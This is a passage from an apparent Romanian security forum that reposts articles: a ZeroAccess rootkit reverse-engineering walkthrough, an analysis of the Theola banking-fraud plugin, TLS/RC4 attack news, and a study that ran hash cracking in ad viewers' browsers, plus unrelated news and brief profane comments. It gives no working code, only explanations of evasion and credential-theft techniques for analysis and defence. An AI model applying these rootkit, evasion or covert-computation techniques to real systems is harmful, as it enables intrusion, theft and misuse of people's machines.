use it in normal (not a debugged) application, we will get exception. However if we will attach debugger, there will be no exception. (You can read more about this at the OpenRCE reference library http://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/ ) When int 2Dh is called we get our first taste of ZeroAccess anti-reversing and code obsfuction functionality. The system will skip one byte after the interrupt, leading to opcode scission. The actual instructions executed will differ from the apparent instructions that will be displayed in a dissasembler or debugger. To continue further we need a mechanism to correctly handle int 2Dh call and mantain the jump-one-byte feature, and allow us to follow the opcode-splitted code. To do so, we are going to use StrongOD Olly plugin which can be downloaded here: http://reversengineering.wordpress.com/2010/07/26/strongod-0-3-4-639/ With StrongOD installed, after tracing over int 2Dh we are presenting with the following instructions: The most interesting instruction for us here is the Call 00413bb4. Immediately after this instruction we have garbage code. Let’s enter into this call, and you are now presented with the following code block: Again, we see int 2Dh, which will lead us one byte after the RETN instruction. The next piece of code will decrypt the adjacent routine, after tracing further, finally we land here: This call will decrypt another block of code, at after that call execution jump here: FS:[18] corresponds to TEB (Thread Environment Block) address, from TEB is obtained PEB (Process Environment Block) which is located at TEB Address + 30h. PEB+0C corresponds to PPEB_LDR_DATA LdrData. If you are using WinDBG, you can use this quick hint to uncover the link between structure -> offset ->involved member by issuing the following command: 0:004> dt nt!_PEB_LDR_DATA ntdll!_PEB_LDR_DATA +0×000 Length : Uint4B +0×004 Initialized : UChar +0×008 SsHandle : Ptr32 Void +0x00c InLoadOrderModuleList : _LIST_ENTRY +0×014 InMemoryOrderModuleList : _LIST_ENTRY +0x01c InInitializationOrderModuleList : _LIST_ENTRY +0×024 EntryInProgress : Ptr32 Void +0×028 ShutdownInProgress : UChar +0x02c ShutdownThreadId : Ptr32 Void As you can see, the malicious code refers to _PEB_LDR_DATA + 1Ch, by checking the output of WinDbg you can see that ECX now points to InInitializationOrderModuleList. The code that follows is responsible for locating Import Function addresses and then from this information building an ImportTable on the fly dynamically. Next there is a complex sequence of nested calls that have the principal aim of decrypting, layer by layer, the core routines of ZeroAccess. We will not describe the analysis of this piece of multi-layer code; it is left as an exercise for the reader. This section of code is quite long, repetitive, and frankly boring, and not relevant from a functionality point of view. Imported Function addresses are successively protected and will be decrypted on fly only when they are called. Let’s take a look at how an API call actually looks: Call 00401172 decrypts and return the API’s address in EAX. In the above code snippet, the API called is VirtualAlloc. Allocated memory will be used in future execution paths to decrypt a number of different blocks of instructions. These blocks will eventually constitute an executable dropped by the original infection agent. Main executable ( the infection vector we are also referring to as the Agent) builds and drops various files into victim’s hard disk and as well as in memory. Whether on disk or in memory, the pattern used is always the same: Next, let’s try to determine what is being decrypted in these blocks. We place a breakpoint at 0040162B, which is immediately after Next Block jump. The end of the Next Block corresponds to the end of decryption process, we will see in allocated memory the familiar ‘MZ’ signature, letting us know the executable is ready to be used. Before proceding we recommending dumping onto the the hard drive the full executable using the Backup functionality of Ollydbg. The next block of code is protected with a VEH ( Vectored Exception Handler ) by using RtlAddVectoredExceptionHandler and RtlRemoveVectoredExceptionHandler. Inside this block we have a truly important piece of code. This block is loaded via the undocumented native API call, LdrLoadDll. A system DLL is called, lz32.dll, as well as the creation of a Section Object. A Section Object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space. Take a look at the red rectangle, calling the value 003C24FB stored in EAX. As you can see this belongs to the previously loaded lz32.dll. Because of this call, execution flow jumps inside the lz32.dll, and which contains malicious code decrypted by the rootkit agent. This is what the code of lz32.dll program looks like: If we trace into the Call 003C23DB, we have a long routine that completes infection, and more precisely we have the kernel mode component installation phase. We will see a series of creative routines specifically written to elude classic Antivirus checks, such as the usage of Section Objects and Views placed into System Files. Now, let’s take a look at the core routine of the Agent, which we will analyze piece by piece: During the analysis of complex pieces of malware it’s a good practice to leave open the HandleView and ModuleView panes within OllyDbg. This will help you keep track of what is loaded/unloaded and what files/objects/threads/etc. are opened. Let’s see what happens in Call 003C1C2C at address 003C2461. At first, we see the enumeration of Drivers placed into \system32\drivers, and next we have the following piece of code: We have an interesting algorithm here, after driver enumeration a random number is generated, next fitted within a range of [0 - 0xFF] and used to randomly select from the driver list a file to be infected. Finally the string formatted as: \._driver_name_ Now let’s watch what is going on in HandleView: As you can see a Section Object is created according to the randomly selected driver file, and next will be opened as View inside this Section. The access values for this section are set to 0xF001F. Let’s first talk about why this is important. During a malware analysis session, much like a forensic investigation, is fundamental to know what the access potential the various components have, so we can direct our investigation down the right path. This can be determined by checking the access rights assigned to various handles. Let’s lookup what the access right of 0xF001F corresponds by looking in winnt.h: #define SECTION_ALL_ACCESS 0xf001f SECTION_ALL_ACCESS means the handle has the ability to Read, Write, Query and Execute. This is the optimal environment to place a malicious portion of code. Now, lets analyze further: This block of code takes the driver previously selected and now registers it into: \registry\MACHINE\SYSTEM\CurrentControlSet\services\ The \services entry under CurrentControlSet contains parameters for the device drivers, file system drivers, and Win32 service drivers. For each Service, there is a subkey with the name of the service itself. Our registry entry will be named \._driver_name_ Start Type has 0×3 value that means -> Load on Demand Type: 0×1 -> Kernel Device Driver Image Path -> \* The same driver is always opened. Next, its handle used to send, via ZwFsControlCode, a FSCTL (File System Control Code). Taking a look at the API parameters at run time reveals that the FSCTL code is 9C040. This code corresponds to FSCTL_SET_COMPRESSION. It sets the compression state of a file or directory on a volume whose file system supports per-file and per-directory compression. Next, a new executable will be built with the aforementioned decryption scheme and then loaded via ZwLoadDriver. This process will result in two device drivers: The first driver is unnamed and will perform IRP Hooking and Object and disk.sys/pci.sys Object Stealing (we will analyze this in greater detail later) The second driver, named B48DADF8.sys, is process creation aware and contains a novel DLL injection system (we will also analyze it greater detail later) Once the driver infection is complete we land in an interesting piece of code: Here, we see the loading of fmifs.dll. This DLL is the Format Manager for Installable File Systems, and it offers a set of functions for FileSystem Management. In this case the exported function is FormatEx. A bit of documentation on FormatEx follows: VOID STDCALL FormatEx( PWCHAR DriveRoot, DWORD MediaFlag, PWCHAR Format, PWCHAR Label, BOOL QuickFormat, DWORD ClusterSize, PFMIFSCALLBACK Callback ); This function, as the name suggests is used to Format Volumes. In our case the DriverRoot is \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074 and Format is NTFS. This is a remarkable feature unique to this rootkit. This call creates a hidden volume, and the volume will contain the driver and DLLs dropped by the ZeroAccess Agent. These files remain totally invisible to the victim (something we teach in our ethical hacking course). The next step the Agent takes is to build, with the same decryption routine previously described, the remaining malicious executables that will be stored into the newly created hidden volume. These two files are: B48DADF8.sys max++.00,x86.dll Both located into the hidden volume, \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074\L\. We now we have a good knowledge of what user-mode side of ZeroAccess does, we can focus our attention to Kernel Mode side, by reversing the two drivers and dropped DLL. Let’s continue to follow the workflow of the rootkit. If you are reversing along with us, analysis will logically follow the order of binaries dropped by the Agent. Our first driver to reverse will be the randomly named one, which will be in Part 2 of this tutorial. Sursa: InfoSec Institute Resources – Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit

PEFrame [h=2]Current features[/h] Auto Analysis Hash MD5 & SHA1 PE file attributes Version info & metadata PE Identifier Signature Anti Virtual Machine Anti Debug Section analyzer Imported DLLs & API functions Search for suspicious API (Anti Debug) & sections Dumping all the information Extract all the string Extract all the url Reverse Hex dump List Entry instances [h=2]Documentation[/h] Usage Example [h=2]Download[/h] Download peframe (last version) FileInfo GUI Package for Ubuntu/Debian include peframe fileinfo_0.6_all.deb Sursa: https://code.google.com/p/peframe/

[h=1]Another crypto-attack on SSL/TLS encryption[/h]Many popular pages like Google use RC4 encryption for their services SSL/TLS is the foundation of secure internet connections, with RC4, designed by Ron Rivest in 1987, often used for encryption. Researchers have now come up with an attack against the algorithm that can decrypt at least the beginning of a secure transmission. The attack is still mostly theoretical, but it clearly demonstrates that there are some issues that need to be solved. A huge number of servers use RC4, including Google, Facebook, and Microsoft's web servers. The method has a number of advantages – it's very fast, which means that it's easier for servers to handle, and it's not vulnerable to some of the recent attacks on SSL/TLS like BEAST and Lucky13 and has therefore often been recommended as an alternative. At the same time, however, RC4 is old and has its fair share of problems. The RC4 algorithm is what is known as a stream cipher, with, basically, a pseudo-random number generator spitting out practically random numbers that are then used to link texts that need to be encrypted or decrypted with XOR. The password determines the generator's initialisation value, with the same value making the generator produce the same stream of numbers every time. If the numbers were truly random, this method would, in fact, create uncrackable encryption, known as a one-time pad. But, as the name says, the pseudo-random numbers are merely almost random, and Nadhem AlFardan, Dan Bernstein, Kenny Paterson, Bertram Poettering and Jacob Schuldt have found a way to use the minimal deviations from a purely statistical distribution to crack the encryption and decrypt at least 220 bytes of a connection. They need – for now, at least – an almost ludicrous number of connections that encrypt the same text: 230, or about one billion. But that figure is not as out there as it seems, since the large number of connections can be made automatically with, say, JavaScript code that has been injected into a regular web page and calls up the same HTTPS URL over and over. Among other data, all those connections get the valid session cookie every time, which the user – or the attacker – can use to, for example, sign into Google Mail without entering a password. Matthew Green explains the problem in more detail in his helpful blog post "Attack of the week: RC4 is kind of broken in TLS". The attack cannot yet be actually implemented in practice, but, as everyone knows, attacks are improving all the time. These findings should be considered a warning shot, and those using RC4 encryption should start looking for an alternative. One of the researchers' recommendations is CBC block cipher methods that have been updated to block BEAST and Lucky 13; another option is TLS 1.2, which is not yet widely used but offers better encryption methods. Sursa: The H Security - Another crypto-attack on SSL/TLS encryption

[h=2]Distributed Hash Cracking on the Web[/h] The web is constantly evolving with new technologies being added all the time, creating a platform completely unrecognisable from when the web first began. MWR Labs recently carried out a research project to assess some of these new technologies and the possibilities they bring for helping to solve computationally intensive problems within security. The main aim behind the project was to try to harness the power of two new technologies in particular, WebGL and WebCL, for retrieving passwords from hashes using a brute force technique. If this proved possible, the secondary aim was to assess how cost effective it would be to retrieve hashes in this way compared to using cloud computing. Let’s start with a brief introduction into these two new technologies. [h=3]WebGL & WebCL[/h] WebGL extends the capabilities of JavaScript to allow the rendering of 3D graphics in the web browser. Based on the OpenGL ES standard, WebGL executes directly on the Graphics Processing Unit (GPU). The Khronos Group develops and maintains both WebGL and OpenGL ES. WebGL is currently implemented in the following browsers: Firefox, Chrome, Safari and Opera. WebCL, announced in March 2011, provides JavaScript bindings to the OpenCL API. OpenCL is a framework for writing programs that can execute in parallel on GPUs and CPUs. Applications can achieve significant performance improvements through using OpenCL on problems that are suitable for parallelisation and thus through WebCL web applications will be able to do the same. The WebCL specification is still under development by Khronos; however, Nokia and Samsung have both created implementations to act as starting points. Nokia have created a Firefox extension and Samsung have developed a WebKit implementation. Currently WebCL is only available through the above implementations. [h=3]Getting the Hash[/h] Retrieving passwords from hashes using brute force is simply taking every combination of characters that comprise a password, hashing it and testing if it matches the original hash. Our starting point was to try to implement the MD5 hashing algorithm in WebGL and WebCL. It was always going to be a challenge to implement a hashing algorithm in WebGL simply because WebGL is designed for rendering graphics, not general computation! Indeed even after overcoming the hurdles involved, packing input into textures, computing using a shader, and retrieving output from images it became clear it was not feasible. This is due to limitations in the WebGL shading language, 32 bit Integers are not supported and neither are bitwise operations. Those familiar with the MD5 hashing algorithm will know that it basically performs a bunch of bitwise operations on 32 bit Integers. We did try implementing these features ourselves through using arrays of bits; however, as expected, it proved much slower than just using normal JavaScript and was just not feasible. WebCL on the other hand proved to be much simpler to implement. So with our fancy WebCL and boring JavaScript hashing algorithms we move onto our next stage, which is implementing a way to distribute the computation across the web. [h=3]Distribution[/h] The basic idea behind the distribution platform was to have a centralised server that distributes computation between worker nodes. The server contains a list of the hashes trying to be cracked and gives worker nodes a range of character combinations along with the hash to be cracked. The worker nodes then hash all these character combinations and if one matches the original hash, they report the recovered password to the centralised server. The server was implemented using Ruby with communication to the Nodes through JSON requests. The following two diagrams show an overview of the system and a step by step run through of a hash being cracked. Layout of the distributed platform: Step by step process of cracking the hash: The following features were implemented: Detects malfunctioning nodes A node’s chunk size changes depending on its speed Remotely refresh nodes in cases of code update Bans rogue nodes System monitoring – Statistics on speed, number of nodes connected etc. System design settings – Node refresh period Modular to allow new hash types, currently: MD5 SHA-1 [h=3]Deployment[/h] In order to assess our newly created Distributed Hash Cracker’s performance and cost effectiveness we decided to embed the worker node into a rich media advert and deploy it on an ad network. Using this ad network we paid $0.50 for 1000 impressions (advert displayed to user), each one of those users would then start cracking hashes providing they had JavaScript enabled. Below is the advert that was displayed to users. [h=3]Analysis[/h] Firstly, let us compare the performance of our MD5 hashing algorithms. Speeds are shown in million hashes per second (MH/s). The benchmarks were run on the following CPU and GPU. CPU – Intel Core 2 Duo @ 2.53GHz, GPU – ATI HD5570. Here we can see that the OpenCL HashCat implementation is by far the fastest, with WebCL being around 15 times slower, however our WebCL algorithm isn’t heavily optimised. It is also clear just how slow JavaScript is, with over 2000 Chrome-JavaScript nodes needed to equal the power of one GPU. However Chrome is by far the fastest browser and as we see in the graph below the number of nodes needed for other browsers rises dramatically. For example, over 40,000 IE8-JavaScript nodes would be needed to give the equivalent power of one GPU. Now for the deployment statistics. We weren’t really expecting to see any WebCL nodes since the technology is so new and an extension is needed for it to work. Indeed there weren’t any. The following statistics therefore are only for the JavaScript implementation. [TABLE] [TR] [TD] Highest Speed Achieved [/TD] [TD] 110.280MH/s [/TD] [/TR] [TR] [TD] Highest Number of Nodes Connected [/TD] [TD] 7615 [/TD] [/TR] [TR] [TD] Total Nodes Connected [/TD] [TD] 146,740 [/TD] [/TR] [TR] [TD] Average Speed [/TD] [TD] 20.49MH/s [/TD] [/TR] [TR] [TD] Longest connected node [/TD] [TD] 3 Days, 13 Hrs. 25 Mins. [/TD] [/TR] [TR] [TD] Fastest node [/TD] [TD] Chrome 13 0.563MH/s [/TD] [/TR] [TR] [TD] Costs [/TD] [TD] $102 [/TD] [/TR] [TR] [TD] Cost per 1 Billion MD5 [/TD] [TD] $0.028 [/TD] [/TR] [TR] [TD] Cost to recover 8 Char A-Za-z0-9 [/TD] [TD] ~$6,250 [/TD] [/TR] [TR] [TD] Time needed to recover 8 Char A-Za-z0-9 [/TD] [TD] 123 Days! [/TD] [/TR] [/TABLE] Based on these statistics we can estimate the performance of the DHC if we assume that we only have WebCL nodes. [TABLE] [TR] [TD] JavaScript Average Node Speed [/TD] [TD] 0.05MH/s [/TD] [/TR] [TR] [TD] WebCL Estimated Average Node Speed [/TD] [TD] 10MH/s [/TD] [/TR] [TR] [TD] Amazon EC2 GPU Instance IGHashGPU Speed [/TD] [TD] 2790MH/s1 [/TD] [/TR] [TR] [TD] Amazon EC2 Cost [/TD] [TD] $2.10 per hour [/TD] [/TR] [/TABLE] Using the above statistics, we have done just that, and compared the estimated WebCL performance to the JavaScript performance we achieved and the performance of an Amazon EC2 GPU instance running IGHashGPU. From these estimates we can expect WebCL to be roughly 50% faster than using Amazon’s EC2 GPU instances. We can also see that based on our estimates WebCL is faster however, with this distributed platform speed can be varied depending on what the daily spend limit for the advertising campaign is set to. For example, if we doubled the daily spend limit we would expect to get double the number of impressions in the same amount of time, thus roughly doubling our speed. Of course, eventually there will be a limit on the speed that can be achieved due to the centralised server acting as a bottleneck. [h=3]Conclusion[/h] We can see that currently, with WebGL and JavaScript, it is not possible / cost effective to crack hashes in a distributed manner over the web. However, WebCL looks very promising and given the industry backing it has, it seems likely it will become integrated into some browsers in the future. We can see that already in this early stage of its development, with our modest estimates and our MD5 algorithm it already outperforms the cloud. Whilst deploying such systems on advertising networks might not be the way forward it seems clear that with WebCL distributed computing on the web will become a reality opening up a realm of future possibilities. [h=3]References[/h] 1Whitepixel breaks 28.6 billion password/sec - Zorinaq Sursa: Distributed Hash Cracking on the Web - MWR Labs

[h=1]Apple Fixes OS X Flaw That Allowed Java Apps to Run With Plugin Disabled[/h]by Dennis Fisher March 15, 2013, 10:21AM Apple on Thursday released a large batch of security fixes for its OS X operating system, one of which patches a flaw that allowed Java Web Start applications to run even when users had Java disabled in the browser. OS X 10.8.3 fixes 21 total vulnerabilities, and also includes a new version of the malware removal tool for Apple machines. The latest set of patches for Apple OS X comprises a lot of important security patches, but the most interesting one is the fix for the Java issue. There have been a slew of serious vulnerabilities in Java disclosed in the last few months, and security experts have been recommending that users disable Java in their various browsers as a protection mechanism. However, it appears that measure wasn't quite enough to protect users of some versions of OS X. "Visiting a maliciously crafted website could allow a Java Web Start application to be launched automatically even if the Java plug-in is disabled. Java Web Start applications would run even if the Java plug-in was disabled. This issue was addressed by removing JNLP files from the CoreTypes safe file type list, so the Web Start application will not be run unless the user opens it in the Downloads directory," Apple said in its advisory. Many of the vulnerabilities in OS X that Apple fixed could be used for remote code execution. One of those is a buffer overflow in QuickTime that could allow an attacker to run arbitrary code on a vulnerable machine. Among the other fixes in the update is a change that revokes trust in some fraudulent SSL certificates issued months ago by TURKTRUST. "Several intermediate CA certificates were mistakenly issued by TURKTRUST. This may allow a man-in-the-middle attacker to redirect connections and intercept user credentials or other sensitive information. This issue was addressed by not allowing the incorrect SSL certificates," Apple said. Sursa: Apple Fixes OS X Flaw That Allowed Java Apps to Run With Plugin Disabled | threatpost

The Sandbox Roulette: Are you ready for the gamble? Rafal Wojtczuk rafal@bromium.com Rahul Kashyap rahul@bromium.com 26 February 2013 What is a sandbox? In computer security terminology, a sandbox is an environment designed to run untrusted (or potentially exploitable) code in a manner that prevents the encapsulated code from damaging the rest of the system. The reason to introduce a sandbox is the assumption that it is more feasible to isolate potentially malicious code than to build a large application that cannot be subverted by an attacker. Many different products can be categorized as sandboxes. For this talk, we focus on Windows-based application sandboxes. Such a sandbox is designed to run as a single application on top of a Windows OS. Usually, from the point of view of user experience, the existence of a sandbox container should be as unobtrusive as possible while still providing an additional layer of security. Short overviews of mechanisms used to implement a few selected sandboxes are presented later in this paper. Download: http://blogbromium.files.wordpress.com/2013/03/blackhat-2013-sandbox-roulette_wp.pdf

Da, inchizi procesul (Hostcon sau cum cacat apare) sin Task Manager.

[h=1]Samsung Galaxy S4, lansat - acelasi design, procesor mai puternic, ecran mai performant[/h]de Redactia Hit | 15 martie 2013 Samsung a lansat noul varg de gama al companiei, Samsung Galaxy S4, intr-un eveniment pe care l-ati putut urmari prin streaming Video chiar prin intermediul unei transmisiuni oficiale a companiei sud-coreene. Din pacate, noul Galaxy S4 nu aduce prea multe schimbari de design fata de modelul anterior, semn ca producatorul a mizat, cum de altfel anticipam in urma cu doar cateva zile, pe specificatii si functii. Desi ne-am fi dorit sa gresim cand am facut cateva predictii referitoare la noul model varf de gama Samsung, ei bine, nu ne-am inselat. Noul Galaxy S4 este aproape identic cu modelul Galaxy S3, iar acest lucru nu ne place deloc. Dar vom vorbi despre acest aspect ceva mai tarziu. Acum, sa trecem la specificatiile noului super-smartphone al sud-coreenilor. Samsung Galaxy S4 are un ecran de 5 inci (Super AMOLED), mai mare decat al Galaxy s3 (4,8 inci), dar si o rezolutie fullHD cu 441 ppi. Ecranul pare fantastic si poate fi comparat cu cel al HTC One. Samsung Galaxy S4 dispune, asa cum se estima, de configuratii hardware foarte performante. Spunem configuratii pentru ca Galaxy S4 va ajunge pe piata in doua versiuni, in functie de regiunea unde va fi lansat. Astfel, avem versiunea cu chipset Exynos octa-core cu procesor tactat la 1,6 GHz, dar si versiunea cu cu chipset Qualcomm quad-core (Snapdragon 600 sau 800 - Samsung nu a precizat ce alegere a facut), cu procesor tactat la 1,9 GHz. Ambele variante de Samsung Gaqlaxy S4 promit sa ofere performante remarcabile. Samsung Galaxy S4 are 2GB RAM, camera foto de 13MP (f/2.2) si autofocus si ofera gama completa de conectivitate. Dimensiunile smartphone-ului sunt de 136.6 x 69.8 x 7.9 mm. Terminalul ruleaza Android 4.2.2 Jelly Bean. Samsung nu a anuntat pretul smartphone-ului, dar ne asteptam la preturi similare celor la care a fost lansata generatia anterioara. Samsung Galaxy S4 va ajunge pe piata incepand cu luna aprilie, in 155 de tari, printre care si Romania. Despre functiile noului Galaxy S4 vom vorbi intr-un articol separat Asa cum spuneam mai devreme, faptul ca Samsung a ales sa nu schimbe designul noului Galaxy S4 fata de generatia anterioara este o greseala, desi, suntem convinsi ca sud-coreenii o vad ca pe o strategie. Din pacate Samsung incearca sa faca ceea a facut Apple cu designul iPhone, ani la rand, adica ...nimic. Da, ne-a placut Galaxy S3, in momentul lansarii, in ciuda unor critici venite tot pe parte de design. Acum, insa, solutia prea comoda aleasa de Samsung, respectiv transferul de design de la Galaxy S3 la S4 ni se pare o idee foarte proasta. Vom vedea, desigur cum va reactiona piata la lansarea noului smartphone de la Samsung si cum vor primi fanii companiei noul model de top. Sursa foto: GSMArena Sursa: Samsung Galaxy S4, lansat - acelasi design, procesor mai puternic, ecran mai performant | Hit.ro

In loc sa mute un cacat dintr-o parte in alta, ar trebui sa isi mai cumpere niste servere deoarece de ceva timp merge ca pula Feisbucu asta.

Cateva detalii?

[h=1]How Theola malware uses a Chrome plugin for banking fraud[/h]By Aleksandr Matrosov posted 13 Mar 2013 at 02:50PM Win32/Theola is one of the most malicious components of the notorious bootkit family, Win32/Mebroot.FX (known since 2007). The Theola family encompasses malicious browser plugins installed by Mebroot for banking fraud operations. We have been tracking an increase in detections of these plugins since the end of January 2013. The countries where Theola is most commonly detected are the Netherlands, Norway, Italy, Denmark and Czech Republic. ESET Virus Radar statistics show the regions most affected by Theola infection during the last week in the map below. Win32/Mebroot.FX uses typical MBR infection techniques, with a malicious int13 handler used for access to the hard drive components. Malicious components are loaded in the following order: In this blog post I’m concentrating on the analysis of malicious browser plugins and on answering the question of how money is stolen from a user’s infected machine. [h=3]Chrome plugin[/h] Win32/Theola.F is a Google Chrome plugin based on the NPAPI interface (Netscape Plugin Application Programming Interface). The malicious plugin has a native module and is packed by CRX format (CRX Package Format). The CRX container contains the following manifest file with the permissions shown: The most interesting string in the manifest is “permissions”, describing the activity allowed for this plugin. This set of permissions is enough to allow fraudulent, malicious operations. Win32/Theola loads in the Google Chrome browser like this: After deobfuscation the first JavaScript method loads the native module as default-plugin for Google Chrome: This JavaScript module modifies the POST tracking method for all web forms on the loaded web page. And by making password input fields visible this method makes (for the attacker) a useful combination with the embedded video recording functionality described below. The plugin loaded in the browser extensions panel looks like this: The routine NP_GetEntryPoints() calls the plugin load process and gets the pointers to other functions needed for working with the plugin within the browser. The decompiled code of NP_GetEntryPoints() is presented here, with the Theola plugin interface: The image directly below shows the the reconstructed virtual method table (vtable) as seen in Win32/Theola’s main functionality. Theola has video recording functionality based on the open source x264 library for recording video in MPEG format. When the plugin has already started up the function addListners() loads the JavaScript code for tracking web activity on the infected machine. The JavaScript code for manipulating URLs is presented here: The method beforeNavigate() in the native module is presented here: If activity is detected on the banking web page, then Win32/Theola sends all sensitive information (passwords, credit card numbers and etc) to the special named pipe. The name of the pipe is generated by the following algorithm: All communications with the kernel-mode module and other user-mode modules are implemented with special named pipe handlers in the plugin. Each handler is responsible for the execution of specified type of events in the execution process. [h=3]Conclusion[/h] Google Chrome is one of the most popular browsers in the world and its popularity among malware developers is also growing. Win32/Theola provides its malicious module as a Chrome plugin: this is more difficult to detect because the plugin uses only documented API methods for controlling web activity. This documented API is adequate for manipulating sensitive data submitted into web forms. Much banking malware uses user-mode hooks for intercepting network activity, but Win32/Theola uses documented and legitimate methods just as effectively and by doing so is better able to bypass detection by security software. Special thanks to my colleague Anton Cherepanov Aleksandr Matrosov, Security Intelligence Team Lead SHA1 hashes for analyzed samples: Win32/Theola.F (CRX plugin): 0a74c1897a8a3a56cbc4bd433e100e63f448c136 Win32/Theola.D (dll module): 5591d013f38f64f2695366ff4cb4727c94a266e9 Sursa: How Theola malware uses a Chrome plugin for banking fraud - We Live Security

[h=3]Critical iOS vulnerability in Configuration Profiles pose malware threat[/h]Posted by: Mohit Kumar onThursday, March 14, 2013 a vulnerability that could allow hackers to control and spy on iPhones. A major security vulnerability for iOS configuration profiles pose malware threat. The vulnerability affects a file known as mobileconf files, which are used by cell phone carriers to configure system-level settings. These can include Wi-Fi, VPN, email, and APN settings. Apple used to use them to deliver patches, and carriers sometimes use them to distribute updates. Adi Sharabani, CEO and co-founder of Skycure, made a demonstration that how sensitive information, including the victim’s exact location, could be retrieved, while also controlling the user’s iPhone. In Demo, he setup a fake website with a prompt to install a configuration profile and sent the link out to Victim. After installing it, he found out they were able to pull passwords and other data without his knowledge. These malicious profiles can be emailed or downloaded from Web pages and after being installed, and attacker able to change a large number of iPhone settings. If used maliciously, these profiles can be very dangerous. Even though their use is approved by Apple, they aren't subject to the standard sandboxing rules that apply to third party App Store apps and websites. Other than an attack on privacy, this could lead to more dangerous consequences as an example, it is quite easy to change a GPS destination while driving and send the smartphone owner to a location the attacker chooses. Sursa: Critical iOS vulnerability in Configuration Profiles pose malware threat - Hacking News

[h=1]Two new attacks on SSL decrypt authentication cookies[/h][h=2]Aging standard isn't holding up very well in face of sophisticated attacks.[/h] by Dan Goodin - Mar 14 2013, 6:05pm GTBST Werwin15 Researchers have devised two new attacks on the Transport Layer Security and Secure Sockets Layer protocols, the widely used encryption schemes used to secure e-commerce transactions and other sensitive traffic on the Internet. The pair of exploits—one presented at the just-convened 20th International Workshop on Fast Software Encryption and the other scheduled to be unveiled on Thursday at the Black Hat security conference in Amsterdam—don't pose an immediate threat to the millions of people who rely on the Web-encryption standards. Still, they're part of a growing constellation of attacks with names including BEAST, CRIME, and Lucky 13 that allow determined hackers to silently decrypt protected browser cookies used to log in to websites. Together, they underscore the fragility of the aging standards as they face an arsenal of increasingly sophisticated exploits. "It illustrates how serious this is that there are so many attacks going on involving a protocol that's been around for years and that's so widely trusted and used," Matthew Green, a professor specializing in cryptography at Johns Hopkins University, told Ars. "The fact that you now have CRIME, BEAST, Lucky 13, and these new two attacks within the same week really illustrates what a problem we're facing." The most serious of this week's attacks exploits weaknesses in RC4, a stream cipher that researchers estimate is used to encrypt about 50 percent of the world's TLS traffic. Cryptographers have long known of flaws in RC4. Specifically, some of the pseudo-random bytes the cipher used to encode messages were predictable. But until now scientists hadn't devised a practical way to exploit the shortcoming. A team from Royal Holloway, University of London, and the University of Illinois-Chicago has discovered that the small "biases" contained in RC4 can be manipulated in a way that reveals a limited amount of the plaintext in an encrypted data stream. It requires attackers to receive tens of millions of different encryptions of the same message. By statistically sampling them, the lack of randomness can be exploited to deduce parts of the encrypted message. "Some of us have been worried for quite a while that RC4 was becoming the dominant cipher of choice in TLS," Royal Holloway scientist Kenneth G. Paterson told Ars. "We knew that RC4 had significant problems. What we didn't know was how to exploit them in TLS. Now we do. Vendors and users are on notice: this attack is only going to get stronger." Because only small parts of message can be decrypted, the attack works best against ciphertext that contains known strings in a fixed location, such as authentication cookies. "Unfortunately, if your connection is encrypted using RC4 (as is the case with Gmail), then each time you make a fresh connection to the Gmail site, you're sending a new encrypted copy of the same cookie," Green wrote in a blog post describing the attack. "If the session is renegotiated (i.e., uses a different key) between those connections, then the attacker can build up the list of ciphertexts he needs." The number of TLS key renegotiations in the typical Web session is vastly insufficient to satisfy the tens of millions of encryptions attackers need. The scientists—who include Nadhem AlFardan, Dan Bernstein, Kenny Paterson, Bertram Poettering, and Jacob Schuldt—have therefore proposed that JavaScript working with a man-in-the-middle attacker can rapidly generate all the encrypted connections needed for the attack. A man-in-the-middle position is when the attacker has a connection between the two parties and the ability to monitor or even tamper with the messages sent back and forth. [h=2]It’s about TIME[/h] This week's other TLS attack is also able to read HTTPS-protected login credentials when end users transmit them to Web servers. The so-called TIME exploit—short for Timing Info-leak Made Easy—is in some respects a refinement of the CRIME attack that successfully decrypted HTTPS-protected browser cookies used to access user accounts on Github.com, Dropbox.com, and Stripe.com. That earlier exploit worked when both the targeted website and browser used the Google-spawned SPDY protocol or TLS compression to reduce the number of bytes contained in a file or data stream by removing redundant information. By guessing the contents of an encrypted payload character by character and then analyzing whether the compressed ciphertext grew or shrank in size, researchers Juliano Rizzo and Thai Duong were able to slowly decipher the contents. TIME works in a similar fashion. It uses JavaScript that forces a browser to send multiple requests to an online bank or other website that uses TLS. But rather than measure the number of bytes contained in the encrypted request sent by the end user, TIME measures the time it takes for websites to respond with responses that have been both encrypted and compressed. Responses that are faster will on average contain fewer bytes, allowing attackers to know that the plaintext contained in a particular guess was also contained in the encrypted data stream. By forcing a victim browser to send hundreds or thousands of requests and comparing subtle differences in the time it takes for the website to respond, the TIME attack decrypts the payload character by character until all of the contents are revealed. "The attacker no longer needs to be an eavesdropper," Tal Be'ery, Web security research team leader at security firm Imperva, said of the TIME attack he helped develop. "The attacker can just lead the victim to his site and from that point onward the attacker only needs to apply certain JavaScript to get the victim's secret data." Most of the previous exploits on TLS require the attacker to have a "man-in-the-middle" position. When combined with the CRIME techniques, TIME has no such restrictions. It's also potentially more effective than either the Lucky 13 or the other attack from this week because it requires hundreds of thousands of requests, rather than tens of millions or hundreds of millions. Be'ery said the vulnerability TIME exploits resides more in browsers than in TLS itself. Specifically, the problem lies in a bedrock security principle known as the same origin policy. It prevents cookies and most other content set by one domain from being able to read or modify data from another domain. The researcher said the policy should be extended to prevent timing attacks. "Just as the browser doesn't let JavaScript directly get the size of the request or the response to other sites... it should stop the timing information from leaking, because it enables the attacker to infer on the secret information," he told Ars. "It shouldn't be allowed to do so. Browsers need to have some mechanism for the server to say 'I don't want to give any information about this specific resource. I don't want to let it be timed.'" [h=2]Not enough Band-Aids[/h] Given the hurdle of collecting vast numbers of encrypted packets, it's unlikely either of this week's attacks—or last month's Lucky 13 exploit, for that matter—will have much practical application right away. But as new techniques are developed and new vulnerabilities are discovered, the attacks are likely to improve and may at some point overcome the resistance TLS has so far shown in withstanding the string of new exploits. Ironically, a chief reason for the large concentration of RC4-protected TLS traffic was its ability to withstand BEAST attacks. Now that both Lucky 13 and one of this week's attacks target the cipher, security engineers are running out of Band-Aids with which to harden TLS. So far, website operators and browser developers have been hesitant to replace vulnerable versions of TLS with newer versions out of fear that the changes will disrupt millions of connections. "It's not totally clear what can be done," 